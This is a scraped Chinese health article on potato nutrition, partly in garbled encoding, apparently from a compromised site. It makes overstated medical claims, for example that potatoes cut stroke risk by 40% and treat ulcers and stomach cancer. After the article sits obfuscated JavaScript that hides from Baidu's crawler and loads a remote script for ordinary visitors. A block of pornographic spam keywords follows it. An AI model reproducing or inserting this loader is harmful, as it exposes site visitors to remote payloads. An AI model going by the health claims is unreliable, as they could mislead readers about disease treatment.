當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

土豆?fàn)I養(yǎng)成分有哪些

2017-07-07 09:54:25  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):土豆是我們平時(shí)最經(jīng)常吃的家常菜之一,土豆里也是含有豐富的淀粉,但是糖尿病患者應(yīng)該少吃。土豆雖然有弊出,但是也是有益處的。土豆中也含

土豆是我們平時(shí)最經(jīng)常吃的家常菜之一,土豆里也是含有豐富的淀粉,但是糖尿病患者應(yīng)該少吃。土豆雖然有弊出,但是也是有益處的。土豆中也含有豐富的營(yíng)養(yǎng),能補(bǔ)充身體內(nèi)的能量。那么,今天我們就來(lái)為大家詳細(xì)介紹一下土豆?fàn)I養(yǎng)成分都有哪些。下面讓我們來(lái)一起看一下。

土豆的營(yíng)養(yǎng)價(jià)值及藥理作用

一、營(yíng)養(yǎng)豐富

土豆中的蛋白質(zhì)比大豆還好,最接近動(dòng)物蛋白。土豆還含豐富的賴(lài)氨酸和色氨酸,這是一般糧食所不可比的。土豆還是富含鉀、鋅、鐵的食物。所含的鉀可預(yù)防腦血管破裂。它所含的蛋白質(zhì)和維生素C,均為蘋(píng)果的10倍,維生素B1、B2、鐵和磷含量也比蘋(píng)果高得多。從營(yíng)養(yǎng)角度看,它的營(yíng)養(yǎng)價(jià)值相當(dāng)于蘋(píng)果的3.5倍。

二、利于減肥

土豆同大米相比,所產(chǎn)生的熱量較低,并且只含有0.1%的脂肪。如果把它作為主食,每日?qǐng)?jiān)持有一餐只吃土豆,對(duì)減去多余脂肪會(huì)很有效。

三、防中風(fēng)

每周平均吃上五至六個(gè)土豆,患中風(fēng)的危險(xiǎn)性可減少40%,而且沒(méi)有任何副作用。

四、和胃健脾

土豆有和胃、調(diào)中、健脾、益氣的作用,對(duì)胃潰瘍、習(xí)慣性便秘、熱咳及皮膚濕疹也有治療功效。土豆所含的纖維素細(xì)嫩,對(duì)胃腸黏膜無(wú)刺激作用,有解痛或減少胃酸分泌的作用。常食土豆已成為防治胃癌的輔助療法。

以上就是專(zhuān)業(yè)人士為我們介紹的土豆含有的營(yíng)養(yǎng)成分,所以不要認(rèn)為土豆中沒(méi)有什么營(yíng)養(yǎng),從上文中我們可以看出,土豆對(duì)我們的身體是非常有益的,但是也要適當(dāng)?shù)某裕荒芏喑浴M炼沟某苑ㄒ灿泻芏啵覀兛梢試L試著各種做法。希望以上內(nèi)容可以幫助大家。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品色内内在线播放| 99精品无人区乱码在线观看| 国内精品久久久久影视| 国产国拍亚洲精品mv在线观看| 国产成人精品久久久久| 五月花精品视频在线观看| 国产精品免费观看视频| 精品乱码一卡2卡三卡4卡网| 国产精品对白刺激久久久| 亚洲精品人成无码中文毛片 | 黄大色黄美女精品大毛片| 人妻少妇偷人精品无码| 国产亚洲色婷婷久久99精品91| 青青青国产精品视频| 精品亚洲成在人线AV无码| 亚洲精品国产美女久久久| 精品人妻一区二区三区四区| 国产精品99久久久久久宅男小说| 亚洲国产精品久久久久| 亚洲精品午夜无码专区| 亚洲国产精品人人做人人爱| 亚洲AV永久无码精品网站在线观看 | 91精品国产闺蜜国产在线闺蜜| 中文字幕免费视频精品一| 久久这里只有精品国产免费10| 久久精品人人做人人爽97| 久久久久亚洲精品天堂久久久久久 | 任我爽精品视频在线播放| 人妻无码久久精品人妻| 69国产精品视频免费| 亚洲AV成人精品网站在线播放| 国产亚洲美女精品久久久| 亚洲精品无码专区久久同性男| 女人国产香蕉久久精品| 亚洲欧美日韩久久精品| 日韩精品免费一级视频 | 国产精品va一级二级三级| 久久精品国产亚洲AV香蕉| 久久国产精品电影| 久久久久国产精品| 国内精品久久久久影院免费|